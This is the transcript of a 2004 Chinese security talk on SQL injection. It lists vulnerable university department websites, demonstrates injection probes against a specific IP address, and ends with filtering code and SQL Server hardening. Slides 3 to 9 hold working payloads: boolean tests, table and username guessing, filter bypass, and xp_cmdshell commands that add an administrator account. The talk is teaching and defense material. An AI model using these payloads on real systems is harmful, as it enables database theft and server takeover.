1 / 12

SQL 注入漏洞全接触

SQL 注入漏洞全接触. 周平 2184254 2004-5-11. 网站评比中发现的问题. 经济学院 serv-u 版本太低, 对于新闻的 ID 传入没有进行过滤 , 网上办公系统也有很大漏洞 外文学院 ID 传入没有进行过滤 软件学院 站内搜索没有对 ' 进行过滤 台湾研究院 ID 传入没有进行过滤 , 开放 SMTP,NNTP 等不必要服务 管理学院 serv-u 版本太低, SMTP 匿名发送, ID 传入没有进行过滤 厦大医院 ID 传入没有进行过滤 党委宣传部 ID 传入没有进行过滤 化学化工学院 ID 传入没有进行过滤

dean-chavez
Download Presentation

SQL 注入漏洞全接触

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. SQL注入漏洞全接触 周平 2184254 2004-5-11

  2. 网站评比中发现的问题 • 经济学院 serv-u版本太低, 对于新闻的ID传入没有进行过滤,网上办公系统也有很大漏洞 • 外文学院 ID传入没有进行过滤 • 软件学院 站内搜索没有对'进行过滤 • 台湾研究院 ID传入没有进行过滤,开放SMTP,NNTP等不必要服务 • 管理学院 serv-u版本太低, SMTP匿名发送,ID传入没有进行过滤 • 厦大医院 ID传入没有进行过滤 • 党委宣传部 ID传入没有进行过滤 • 化学化工学院 ID传入没有进行过滤 • 校工会 ID传入没有进行过滤 • 党委组织部 ID传入没有进行过滤 • 职业技术学院 ID传入没有进行过滤 • 图书馆 ID传入没有进行过滤 • 国际处 ID传入没有进行过滤 • 人事处 ID传入没有进行过滤 • 法学院 ID传入没有进行过滤,serv-u版本太低 • 资产与后勤事务管理处 ID传入没有进行过滤

  3. SQL注入原理 • http://210.34.17.178/displaynews.asp?id=772‘ Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 772'' 中。 /displaynews.asp,行31 说明: 数据库为Access 程序没有对于id进行过滤 数据库表中有个字段名为id

  4. 判断能否进行SQL注入 1.http://210.34.17.178/displaynews.asp?id=772 and 1=1 2.http://210.34.17.178/displaynews.asp?id=772 and 1=2 如果1显示正常, 2显示错误,或者没有页面, 则表明可以进行 SQL注入

  5. 判断数据库类型 • http://210.34.17.178/displaynews.asp?id=772 and user>0 user是SQL Server的内置变量 1.and (select count(*) from sysobjects)>02.and (select count(*) from msysobjects)>0 如果1正常,则表示Sql server.

  6. 注入方法 • (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:Select * from 表名 where 字段=49注入的参数为ID=49 And [查询条件],即是生成语句:Select * from 表名 where 字段=49 And [查询条件](B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:Select * from 表名 where 字段=’连续剧’注入的参数为Class=连续剧’and [查询条件] and ‘’=’,即是生成语句:Select * from 表名 where 字段=’连续剧’and [查询条件] and ‘’=’’(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:Select * from 表名 where 字段like ’%关键字%’注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

  7. 猜表名 • ID=49 And (Select Count(*) from Admin)>=0 • 表名猜出来后,将Count(*)替换成Count(字段名), • and (select top 1 len(username) from Admin)>0 猜用户名长度 • and (select top 1 asc(mid(username,1,1)) from Admin)>0 猜用户名

  8. 利用系统表注入SQLServer数据库 • id=1;exec master..xp_cmdshell “net user name password /add”– 创建系统用户 Id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--把该用户加入administrators组 id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--备份数据库…..

  9. 绕过程序限制继续注入 • where xtype=’U’ • where xtype=char(85)

  10. 防范方法 • Function SafeRequest(ParaName,ParaType)'--- 传入参数 ---'ParaName:参数名称-字符型'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)Dim ParaValueParaValue=Request(ParaName)If ParaType=1 then If not isNumeric(ParaValue) then Response.write "参数" & ParaName & "必须为数字型!" Response.end End ifElse ParaValue=replace(ParaValue,"'","''")End ifSafeRequest=ParaValueEnd function

  11. 加强SQL Server安全 • IP安全策略里面,将TCP 1433, UDP1434端口拒绝所有IP.. • 打SP3补丁 • 去除一些非常危险的存储过程use master go sp_dropextendedproc 'xp_cmdshell'

  12. 谢谢大家 • 欢迎交流

More Related